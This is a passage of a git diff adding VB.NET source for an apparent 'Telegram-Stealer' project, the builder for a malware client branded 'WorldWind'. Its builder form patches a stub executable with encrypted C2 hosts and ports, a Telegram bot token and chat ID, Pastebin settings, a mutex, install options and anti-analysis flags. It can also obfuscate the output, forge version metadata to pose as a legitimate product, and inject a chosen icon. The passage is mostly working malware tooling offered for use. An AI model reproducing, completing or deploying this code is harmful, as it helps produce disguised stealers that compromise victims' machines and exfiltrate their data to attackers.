"IP:PORT .. Example 127.0.0.1:6606") + Me.txtGroup.DataBindings.Add(New Binding("Text", Settings.Default, "Group", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtGroup.Location = New Point(&H20E, &H43) + Me.txtGroup.Margin = New Padding(2) + Me.txtGroup.Name = "txtGroup" + Me.txtGroup.Size = New Size(&HCA, 20) + Me.txtGroup.TabIndex = &H11 + Me.txtGroup.Text = Settings.Default.Group + Me.txtMutex.DataBindings.Add(New Binding("Text", Settings.Default, "Mutex", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtMutex.Location = New Point(&H20E, &H7C) + Me.txtMutex.Margin = New Padding(2) + Me.txtMutex.Name = "txtMutex" + Me.txtMutex.Size = New Size(&HCA, 20) + Me.txtMutex.TabIndex = 11 + Me.txtMutex.Text = Settings.Default.Mutex + Me.textFilename.DataBindings.Add(New Binding("Text", Settings.Default, "Filename", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.textFilename.Enabled = False + Me.textFilename.Location = New Point(&H45, &HB5) + Me.textFilename.Margin = New Padding(2) + Me.textFilename.Name = "textFilename" + Me.textFilename.Size = New Size(&HB6, 20) + Me.textFilename.TabIndex = 5 + Me.textFilename.Text = Settings.Default.Filename + Me.txtFileVersion.BackColor = SystemColors.HighlightText + Me.txtFileVersion.DataBindings.Add(New Binding("Text", Settings.Default, "txtFileVersion", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtFileVersion.Enabled = False + Me.txtFileVersion.ForeColor = Color.Red + Me.txtFileVersion.Location = New Point(&H6A, &H103) + Me.txtFileVersion.Margin = New Padding(2) + Me.txtFileVersion.Name = "txtFileVersion" + Me.txtFileVersion.Size = New Size(&H10A, 20) + Me.txtFileVersion.TabIndex = &H13 + Me.txtFileVersion.Text = Settings.Default.txtFileVersion + Me.txtProductVersion.BackColor = SystemColors.HighlightText + Me.txtProductVersion.DataBindings.Add(New Binding("Text", Settings.Default, "txtProductVersion", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtProductVersion.Enabled = False + Me.txtProductVersion.ForeColor = Color.Red + Me.txtProductVersion.Location = New Point(&H6A, &HE7) + Me.txtProductVersion.Margin = New Padding(2) + Me.txtProductVersion.Name = "txtProductVersion" + Me.txtProductVersion.Size = New Size(&H10A, 20) + Me.txtProductVersion.TabIndex = &H12 + Me.txtProductVersion.Text = Settings.Default.txtProductVersion + Me.txtOriginalFilename.BackColor = SystemColors.HighlightText + Me.txtOriginalFilename.DataBindings.Add(New Binding("Text", Settings.Default, "txtOriginalFilename", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtOriginalFilename.Enabled = False + Me.txtOriginalFilename.ForeColor = Color.Red + Me.txtOriginalFilename.Location = New Point(&H6A, &HCC) + Me.txtOriginalFilename.Margin = New Padding(2) + Me.txtOriginalFilename.Name = "txtOriginalFilename" + Me.txtOriginalFilename.Size = New Size(&H10A, 20) + Me.txtOriginalFilename.TabIndex = &H11 + Me.txtOriginalFilename.Text = Settings.Default.txtOriginalFilename + Me.txtTrademarks.BackColor = SystemColors.HighlightText + Me.txtTrademarks.DataBindings.Add(New Binding("Text", Settings.Default, "txtTrademarks", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtTrademarks.Enabled = False + Me.txtTrademarks.ForeColor = Color.Red + Me.txtTrademarks.Location = New Point(&H6A, &HB1) + Me.txtTrademarks.Margin = New Padding(2) + Me.txtTrademarks.Name = "txtTrademarks" + Me.txtTrademarks.Size = New Size(&H10A, 20) + Me.txtTrademarks.TabIndex = &H10 + Me.txtTrademarks.Text = Settings.Default.txtTrademarks + Me.txtCopyright.BackColor = SystemColors.HighlightText + Me.txtCopyright.DataBindings.Add(New Binding("Text", Settings.Default, "txtCopyright", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtCopyright.Enabled = False + Me.txtCopyright.ForeColor = Color.Red + Me.txtCopyright.Location = New Point(&H6A, &H95) + Me.txtCopyright.Margin = New Padding(2) + Me.txtCopyright.Name = "txtCopyright" + Me.txtCopyright.Size = New Size(&H10A, 20) + Me.txtCopyright.TabIndex = 15 + Me.txtCopyright.Text = Settings.Default.txtCopyright + Me.txtCompany.BackColor = SystemColors.HighlightText + Me.txtCompany.DataBindings.Add(New Binding("Text", Settings.Default, "txtCompany", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtCompany.Enabled = False + Me.txtCompany.ForeColor = Color.Red + Me.txtCompany.Location = New Point(&H6A, &H7A) + Me.txtCompany.Margin = New Padding(2) + Me.txtCompany.Name = "txtCompany" + Me.txtCompany.Size = New Size(&H10A, 20) + Me.txtCompany.TabIndex = 14 + Me.txtCompany.Text = Settings.Default.txtCompany + Me.txtDescription.BackColor = SystemColors.HighlightText + Me.txtDescription.DataBindings.Add(New Binding("Text", Settings.Default, "txtDescription", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtDescription.Enabled = False + Me.txtDescription.ForeColor = Color.Red + Me.txtDescription.Location = New Point(&H6A, &H5F) + Me.txtDescription.Margin = New Padding(2) + Me.txtDescription.Name = "txtDescription" + Me.txtDescription.Size = New Size(&H10A, 20) + Me.txtDescription.TabIndex = 7 + Me.txtDescription.Text = Settings.Default.txtDescription + Me.txtProduct.BackColor = SystemColors.HighlightText + Me.txtProduct.DataBindings.Add(New Binding("Text", Settings.Default, "ProductName", True, DataSourceUpdateMode.OnPropertyChanged)) + Me.txtProduct.Enabled = False + Me.txtProduct.ForeColor = Color.Red + Me.txtProduct.Location = New Point(&H6A, &H44) + Me.txtProduct.Margin = New Padding(2) + Me.txtProduct.Name = "txtProduct" + Me.txtProduct.Size = New Size(&H10A, 20) + Me.txtProduct.TabIndex = 5 + Me.txtProduct.Text = Settings.Default.ProductName + Me.label18.AutoSize = True + Me.label18.BackColor = Color.Transparent + Me.label18.ForeColor = Color.Red + Me.label18.Location = New Point(12, &H56) + Me.label18.Name = "label18" + Me.label18.Size = New Size(0, 13) + Me.label18.TabIndex = 11 + Me.label19.AutoSize = True + Me.label19.Location = New Point(&H164, &HDA) + Me.label19.Name = "label19" + Me.label19.Size = New Size(&HA3, 13) + Me.label19.TabIndex = 12 + Me.label19.Text = " " + MyBase.AutoScaleDimensions = New SizeF(6!, 13!) + MyBase.AutoScaleMode = AutoScaleMode.Font + Me.BackColor = Color.Black + Me.BackgroundImage = DirectCast(manager.GetObject("$this.BackgroundImage"), Image) + Me.BackgroundImageLayout = ImageLayout.Stretch + MyBase.ClientSize = New Size(&H1BF, &HE4) + MyBase.Controls.Add(Me.label19) + MyBase.Controls.Add(Me.label18) + MyBase.Controls.Add(Me.tbchatid) + MyBase.Controls.Add(Me.tabControl1) + MyBase.Controls.Add(Me.tbtoken) + MyBase.Controls.Add(Me.chkObfu) + MyBase.Controls.Add(Me.btnBuild) + Me.DoubleBuffered = True + MyBase.FormBorderStyle = FormBorderStyle.SizableToolWindow + MyBase.Icon = DirectCast(manager.GetObject("$this.Icon"), Icon) + MyBase.Margin = New Padding(2) + Me.MaximumSize = New Size(&H1D0, &H10B) + Me.MinimumSize = New Size(&H1CF, &H10B) + MyBase.Name = "FormBuilder" + MyBase.StartPosition = FormStartPosition.CenterParent + Me.Text = "[++ Builder ++]" + AddHandler MyBase.Load, New EventHandler(AddressOf Me.Builder_Load) + Me.groupBox1.ResumeLayout(False) + Me.groupBox1.PerformLayout + Me.groupBox2.ResumeLayout(False) + Me.groupBox2.PerformLayout + Me.numDelay.EndInit + DirectCast(Me.pictureBox1, ISupportInitialize).EndInit + Me.tabControl1.ResumeLayout(False) + Me.tabPage1.ResumeLayout(False) + DirectCast(Me.pictureBox2, ISupportInitialize).EndInit + Me.tabPage3.ResumeLayout(False) + Me.tabPage3.PerformLayout + Me.tabPage2.ResumeLayout(False) + Me.tabPage4.ResumeLayout(False) + Me.groupBox4.ResumeLayout(False) + Me.groupBox4.PerformLayout + Me.tabPage5.ResumeLayout(False) + Me.groupBox5.ResumeLayout(False) + Me.groupBox5.PerformLayout + DirectCast(Me.picIcon, ISupportInitialize).EndInit + Me.tabPage6.ResumeLayout(False) + MyBase.ResumeLayout(False) + MyBase.PerformLayout + End Sub + + Private Sub pictureBox3_Click(ByVal sender As Object, ByVal e As EventArgs) + End Sub + + Private Sub pictureBox3_Click_1(ByVal sender As Object, ByVal e As EventArgs) + End Sub + + Private Sub SaveSettings() + Try + Dim values As New List(Of String) + Dim str As String + For Each str In Me.listBoxPort.Items + values.Add(str) + Next + Settings.Default.Ports = String.Join(",", values) + Dim list2 As New List(Of String) + Dim str2 As String + For Each str2 In Me.listBoxIP.Items + list2.Add(str2) + Next + Settings.Default.IP = String.Join(",", list2) + Settings.Default.Save + Catch obj1 As Object + End Try + End Sub + + Private Sub tbchatid_Click(ByVal sender As Object, ByVal e As EventArgs) + Me.tbchatid.Clear + End Sub + + Private Sub tbchatid_TextChanged(ByVal sender As Object, ByVal e As EventArgs) + End Sub + + Private Sub tbtoken_Click(ByVal sender As Object, ByVal e As EventArgs) + Me.tbtoken.Clear + End Sub + + Private Sub tbtoken_TextChanged(ByVal sender As Object, ByVal e As EventArgs) + End Sub + + Private Sub WriteAssembly(ByVal filename As String) + Try + Dim resource As New VersionResource + resource.LoadFrom(filename) + resource.FileVersion = Me.txtFileVersion.Text + resource.ProductVersion = Me.txtProductVersion.Text + resource.Language = 0 + Dim info1 As StringFileInfo = DirectCast(resource.Item("StringFileInfo"), StringFileInfo) + info1.Item("ProductName") = Me.txtProduct.Text + info1.Item("FileDescription") = Me.txtDescription.Text + info1.Item("CompanyName") = Me.txtCompany.Text + info1.Item("LegalCopyright") = Me.txtCopyright.Text + info1.Item("LegalTrademarks") = Me.txtTrademarks.Text + info1.Item("Assembly Version") = resource.ProductVersion + info1.Item("InternalName") = Me.txtOriginalFilename.Text + info1.Item("OriginalFilename") = Me.txtOriginalFilename.Text + info1.Item("ProductVersion") = resource.ProductVersion + info1.Item("FileVersion") = resource.FileVersion + resource.SaveTo(filename) + Catch exception As Exception + Throw New ArgumentException(("Assembly: " & exception.Message)) + End Try + End Sub + + Private Sub WriteSettings(ByVal asmDef As ModuleDefMD, ByVal AsmName As String) + Try + Dim buffer As Byte() + Dim randomString As String = Methods.GetRandomString(&H20) + Dim aes As New Aes256(randomString) + Dim certificate1 As New X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable) + Dim certificate As New X509Certificate2(certificate1.Export(X509ContentType.Cert)) + Using provider As RSACryptoServiceProvider = DirectCast(certificate1.PrivateKey, RSACryptoServiceProvider) + Dim rgbHash As Byte() = Sha256.ComputeHash(Encoding.UTF8.GetBytes(randomString)) + buffer = provider.SignHash(rgbHash, CryptoConfig.MapNameToOID("SHA256")) + End Using + Dim def As TypeDef + For Each def In asmDef.Types + asmDef.Assembly.Name = Path.GetFileNameWithoutExtension(AsmName) + asmDef.Name = Path.GetFileName(AsmName) + If (def.Name Is "Settings") Then + Dim def2 As MethodDef + For Each def2 In def.Methods + If (Not def2.Body Is Nothing) Then + Dim i As Integer + For i = 0 To Enumerable.Count(Of Instruction)(def2.Body.Instructions) - 1 + If (def2.Body.Instructions.Item(i).OpCode Is OpCodes.Ldstr) Then + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Ports%") Then + If (Me.chkPastebin.Enabled AndAlso Me.chkPastebin.Checked) Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt("null") + Else + Dim values As New List(Of String) + Dim str2 As String + For Each str2 In Me.listBoxPort.Items + values.Add(str2) + Next + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(String.Join(",", values)) + End If + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Hosts%") Then + If (Me.chkPastebin.Enabled AndAlso Me.chkPastebin.Checked) Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt("null") + Else + Dim list2 As New List(Of String) + Dim str3 As String + For Each str3 In Me.listBoxIP.Items + list2.Add(str3) + Next + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(String.Join(",", list2)) + End If + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Install%") Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Me.checkBox1.Checked.ToString.ToLower) + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Folder%") Then + def2.Body.Instructions.Item(i).Operand = Me.comboBoxFolder.Text + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%File%") Then + def2.Body.Instructions.Item(i).Operand = Me.textFilename.Text + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%TelegramToken%") Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Me.tbtoken.Text) + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%TelegramChatID%") Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Me.tbchatid.Text) + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Version%") Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Settings.Version.Replace("WorldWind", "")) + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Key%") Then + def2.Body.Instructions.Item(i).Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(randomString)) + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%MTX%") Then + If String.IsNullOrWhiteSpace(Me.txtMutex.Text) Then + def2.Body.Instructions.Item(i).Operand = Me.getRandomCharacters + Else + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Me.txtMutex.Text) + End If + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Anti%") Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Me.chkAnti.Checked.ToString.ToLower) + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Certificate%") Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Convert.ToBase64String(certificate.Export(X509ContentType.Cert))) + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Serversignature%") Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Convert.ToBase64String(buffer)) + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%BDOS%") Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Me.chkBdos.Checked.ToString.ToLower) + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Pastebin%") Then + If Me.chkPastebin.Checked Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Me.txtPastebin.Text) + Else + def2.Body.Instructions.Item(i).Operand = aes.Encrypt("null") + End If + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Delay%") Then + def2.Body.Instructions.Item(i).Operand = Me.numDelay.Value.ToString + End If + If (def2.Body.Instructions.Item(i).Operand.ToString = "%Group%") Then + def2.Body.Instructions.Item(i).Operand = aes.Encrypt(Me.txtGroup.Text) + End If + End If + Next i + End If + Next + End If + Next + Catch exception As Exception + Throw New ArgumentException(("WriteSettings: " & exception.Message)) + End Try + End Sub + + + ' Fields + Private Const alphabet As String = "口囗土士夂夊夕大女子宀寸小尢尸屮山巛工己巾干幺广廴廾弋弓彐彡彳二亠人儿入八冂冖冫几凵刀力勹匕匚匸十卜卩厂厶又一丨丶丿乙亅龠龍龜鼻齊黽鼎鼓鼠黃黍黑黹魚鳥鹵鹿麥麻馬骨高髟鬥鬯鬲鬼面革韋韭音頁風飛食首香金長門阜隶隹雨靑非見角言谷豆豕豸貝赤走足身車辛辰辵邑酉釆里竹米糸缶网羊羽老而耒耳聿肉臣自至臼舌舛舟艮色艸虍虫血行衣襾玄玉瓜瓦甘生用田疋疒癶白皮皿目矛矢石示禸禾穴立心戈戶手支攴文斗斤方无日曰月木欠止歹殳毋比毛氏气水火爪父爻爿片牙牛犬口囗土士夂夊夕大女子宀寸小尢尸屮山巛工己巾干幺广廴廾弋弓彐彡彳二亠人儿入八冂冖冫几凵刀力勹匕匚匸十卜卩厂厶又心戈戶手支攴文斗斤方无日曰月木欠止歹殳毋比毛氏气水火爪父爻爿片牙牛犬" + Private btnAddIP As Button + Private btnAddPort As Button + Private btnAssembly As CheckBox + Private btnBuild As Button + Private btnClone As Button + Private btnIcon As Button + Private btnRemoveIP As Button + Private btnRemovePort As Button + Private checkBox1 As CheckBox + Private chkAnti As CheckBox + Private chkBdos As CheckBox + Private chkIcon As CheckBox + Private chkObfu As CheckBox + Private chkPastebin As CheckBox + Private comboBoxFolder As ComboBox + Private components As IContainer + Private groupBox1 As GroupBox + Private groupBox2 As GroupBox + Private groupBox3 As GroupBox + Private groupBox4 As GroupBox + Private groupBox5 As GroupBox + Private groupBox6 As GroupBox + Private label1 As Label + Private label10 As Label + Private label11 As Label + Private label12 As Label + Private label13 As Label + Private label14 As Label + Private label15 As Label + Private label16 As Label + Private label17 As Label + Private label18 As Label + Private label19 As Label + Private label2 As Label + Private label3 As Label + Private label4 As Label + Private label5 As Label + Private label6 As Label + Private label7 As Label + Private label8 As Label + Private label9 As Label + Private listBoxIP As ListBox + Private listBoxPort As ListBox + Private numDelay As NumericUpDown + Private picIcon As PictureBox + Private pictureBox1 As PictureBox + Private pictureBox2 As PictureBox + Private ReadOnly random As Random = New Random + Private tabControl1 As TabControl + Private tabPage1 As TabPage + Private tabPage2 As TabPage + Private tabPage3 As TabPage + Private tabPage4 As TabPage + Private tabPage5 As TabPage + Private tabPage6 As TabPage + Private tbchatid As TextBox + Private tbtoken As TextBox + Private textFilename As TextBox + Private textIP As TextBox + Private textPort As TextBox + Private toolTip1 As ToolTip + Private txtCompany As TextBox + Private txtCopyright As TextBox + Private txtDescription As TextBox + Private txtFileVersion As TextBox + Private txtGroup As TextBox + Private txtIcon As TextBox + Private txtMutex As TextBox + Private txtOriginalFilename As TextBox + Private txtPastebin As TextBox + Private txtProduct As TextBox + Private txtProductVersion As TextBox + Private txtTrademarks As TextBox + + ' Nested Types + _ + Private Structure d__9 + Implements IAsyncStateMachine + ' Methods + Private Sub MoveNext() Implements IAsyncStateMachine.MoveNext + Dim num As Integer = Me.<>1__state + Dim builder As FormBuilder = Me.<>4__this + Try + If (num <> 0) Then + Me.<>8__1 = New <>c__DisplayClass9_0 + If ((Not builder.chkPastebin.Checked AndAlso (builder.listBoxIP.Items.Count = 0)) OrElse (builder.listBoxPort.Items.Count = 0)) Then + goto Label_0374 + End If + If builder.checkBox1.Checked Then + If (String.IsNullOrWhiteSpace(builder.textFilename.Text) OrElse String.IsNullOrWhiteSpace(builder.comboBoxFolder.Text)) Then + goto Label_0374 + End If + If Not builder.textFilename.Text.EndsWith("exe") Then + builder.textFilename.Text = (builder.textFilename.Text & ".exe") + End If + End If + If String.IsNullOrWhiteSpace(builder.txtGroup.Text) Then + builder.txtGroup.Text = "Default" + End If + If (builder.chkPastebin.Checked AndAlso String.IsNullOrWhiteSpace(builder.txtPastebin.Text)) Then + goto Label_0374 + End If + Me.<>8__1.asmDef = Nothing + End If + Try + If (num <> 0) Then + Me.<>7__wrap1 = Me.<>8__1.asmDef = ModuleDefMD.Load("Stub/Stub.exe", DirectCast(Nothing, ModuleCreationOptions)) + End If + Try + If (num <> 0) Then + Me.5__3 = New SaveFileDialog + End If + Try + Dim awaiter As TaskAwaiter + If (num <> 0) Then + Me.5__3.Filter = ".exe (*.exe)|*.exe" + Me.5__3.InitialDirectory = Application.StartupPath + Me.5__3.OverwritePrompt = False + Me.5__3.FileName = "WorldWindClient" + If (Me.5__3.ShowDialog = DialogResult.OK) Then + builder.btnBuild.Enabled = False + builder.WriteSettings(Me.<>8__1.asmDef, Me.5__3.FileName) + If builder.chkObfu.Checked Then + awaiter = Task.Run(New Action(AddressOf Me.<>8__1.b__0)).GetAwaiter + If Not awaiter.IsCompleted Then + Me.<>1__state = num = 0 + Me.<>u__1 = awaiter + Me.<>t__builder.AwaitUnsafeOnCompleted(Of TaskAwaiter, d__9)(awaiter, Me) + Return + End If + goto Label_022E + End If + goto Label_0235 + End If + goto Label_02F1 + End If + awaiter = Me.<>u__1 + Me.<>u__1 = New TaskAwaiter + Me.<>1__state = num = -1 + Label_022E: + awaiter.GetResult + Label_0235: + Me.<>8__1.asmDef.Write(Me.5__3.FileName) + Me.<>8__1.asmDef.Dispose + If builder.btnAssembly.Checked Then + builder.WriteAssembly(Me.5__3.FileName) + End If + If (builder.chkIcon.Checked AndAlso Not String.IsNullOrEmpty(builder.txtIcon.Text)) Then + IconInjector.InjectIcon(Me.5__3.FileName, builder.txtIcon.Text) + End If + MessageBox.Show("Done!", "WorldWind | Builder", MessageBoxButtons.OK, MessageBoxIcon.Asterisk) + builder.SaveSettings + builder.Close + Finally + If ((num < 0) AndAlso (Not Me.5__3 Is Nothing)) Then + Me.5__3.Dispose + End If + End Try + Label_02F1: + Me.5__3 = Nothing + Finally + If ((num < 0) AndAlso (Not Me.<>7__wrap1 Is Nothing)) Then + Me.<>7__wrap1.Dispose + End If + End Try + Me.<>7__wrap1 = Nothing + Catch exception2 As Exception + Dim asmDef As ModuleDefMD + MessageBox.Show(exception2.Message, "WorldWind| Builder", MessageBoxButtons.OK, MessageBoxIcon.Hand) + If (Not Me.<>8__1.asmDef Is Nothing) Then + asmDef = Me.<>8__1.asmDef + goto Label_033F + Else + Dim expressionStack_33C_0 As ModuleDefMD = Me.<>8__1.asmDef + End If + goto Label_0344 + Label_033F: + asmDef.Dispose + Label_0344: + builder.btnBuild.Enabled = True + End Try + Catch exception As Exception + Me.<>1__state = -2 + Me.<>8__1 = Nothing + Me.<>t__builder.SetException(exception) + Return + End Try + Label_0374: + Me.<>1__state = -2 + Me.<>8__1 = Nothing + Me.<>t__builder.SetResult + End Sub + + _ + Private Sub SetStateMachine(ByVal stateMachine As IAsyncStateMachine) Implements IAsyncStateMachine.SetStateMachine + Me.<>t__builder.SetStateMachine(stateMachine) + End Sub + + + ' Fields + Public <>1__state As Integer + Public <>4__this As FormBuilder + Private <>7__wrap1 As ModuleDefMD + Private <>8__1 As <>c__DisplayClass9_0 + Public <>t__builder As AsyncVoidMethodBuilder + Private <>u__1 As TaskAwaiter + Private 5__3 As SaveFileDialog + End Structure + End Class +End Namespace + diff --git a/Telegram-Stealer/Ico.vb b/Telegram-Stealer/Ico.vb new file mode 100644 index 0000000..b7bb361 --- /dev/null +++ b/Telegram-Stealer/Ico.vb @@ -0,0 +1,148 @@ +Imports System.Runtime.InteropServices +Imports System.Security +Public Class Ico + _ + Private Class NativeMethods + _ + Public Shared Function BeginUpdateResource( _ + ByVal fileName As String, _ + ByVal deleteExistingResources As Boolean) As IntPtr + End Function + _ + Public Shared Function UpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal type As IntPtr, _ + ByVal name As IntPtr, _ + ByVal language As Short, _ + _ + ByVal data() As Byte, _ + ByVal dataSize As Integer) As Boolean + End Function + _ + Public Shared Function EndUpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal discard As Boolean) As Boolean + End Function + End Class + _ + Private Structure ICONDIR + Public Reserved As UShort + Public Type As UShort + Public Count As UShort + End Structure + _ + Private Structure ICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ImageOffset As Integer + End Structure + _ + Private Structure BITMAPINFOHEADER + Public Size As UInteger + Public Width As Integer + Public Height As Integer + Public Planes As UShort + Public BitCount As UShort + Public Compression As UInteger + Public SizeImage As UInteger + Public XPelsPerMeter As Integer + Public YPelsPerMeter As Integer + Public ClrUsed As UInteger + Public ClrImportant As UInteger + End Structure + _ + Private Structure GRPICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ID As UShort + End Structure + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) + InjectIcon(exeFileName, iconFileName, 1, 1) + End Sub + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) + Const RT_ICON = 3UI + Const RT_GROUP_ICON = 14UI + Dim iconFile As IconFile = iconFile.FromFile(iconFileName) + Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) + Dim data = iconFile.CreateIconGroupData(iconBaseID) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) + For i = 0 To iconFile.ImageCount - 1 + Dim image = iconFile.ImageData(i) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) + Next + NativeMethods.EndUpdateResource(hUpdate, False) + End Sub + Private Class IconFile + Private iconDir As New ICONDIR + Private iconEntry() As ICONDIRENTRY + Private iconImage()() As Byte + Public ReadOnly Property ImageCount() As Integer + Get + Return iconDir.Count + End Get + End Property + Public ReadOnly Property ImageData(ByVal index As Integer) As Byte() + Get + Return iconImage(index) + End Get + End Property + Private Sub New() + End Sub + Public Shared Function FromFile(ByVal filename As String) As IconFile + Dim instance As New IconFile + Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) + Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) + instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR) + instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} + instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} + Dim offset = Marshal.SizeOf(instance.iconDir) + Dim iconDirEntryType = GetType(ICONDIRENTRY) + Dim size = Marshal.SizeOf(iconDirEntryType) + For i = 0 To instance.iconDir.Count - 1 + Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) + instance.iconEntry(i) = entry + instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) + offset += size + Next + pinnedBytes.Free() + Return instance + End Function + Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() + Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount + Dim data(sizeOfIconGroupData - 1) As Byte + Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) + Dim offset = Marshal.SizeOf(iconDir) + For i = 0 To ImageCount - 1 + Dim grpEntry As New GRPICONDIRENTRY + Dim bitmapheader As New BITMAPINFOHEADER + Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) + pinnedBitmapInfoHeader.Free() + grpEntry.Width = iconEntry(i).Width + grpEntry.Height = iconEntry(i).Height + grpEntry.ColorCount = iconEntry(i).ColorCount + grpEntry.Reserved = iconEntry(i).Reserved + grpEntry.Planes = bitmapheader.Planes + grpEntry.BitCount = bitmapheader.BitCount + grpEntry.BytesInRes = iconEntry(i).BytesInRes + grpEntry.ID = CType(iconBaseID + i, UShort) + Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) + offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) + Next + pinnedData.Free() + Return data + End Function + End Class +End Class diff --git a/Telegram-Stealer/My Project/Application.Designer.vb b/Telegram-Stealer/My Project/Application.Designer.vb new file mode 100644 index 0000000..26ad7cd --- /dev/null +++ b/Telegram-Stealer/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Builder_WorldWind_Pro.Form1 + End Sub + End Class +End Namespace diff --git a/Telegram-Stealer/My Project/Application.myapp b/Telegram-Stealer/My Project/Application.myapp new file mode 100644 index 0000000..fbb5858 --- /dev/null +++ b/Telegram-Stealer/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Form1 + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/Telegram-Stealer/My Project/AssemblyInfo.vb b/Telegram-Stealer/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..d05ffbd --- /dev/null +++ b/Telegram-Stealer/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git 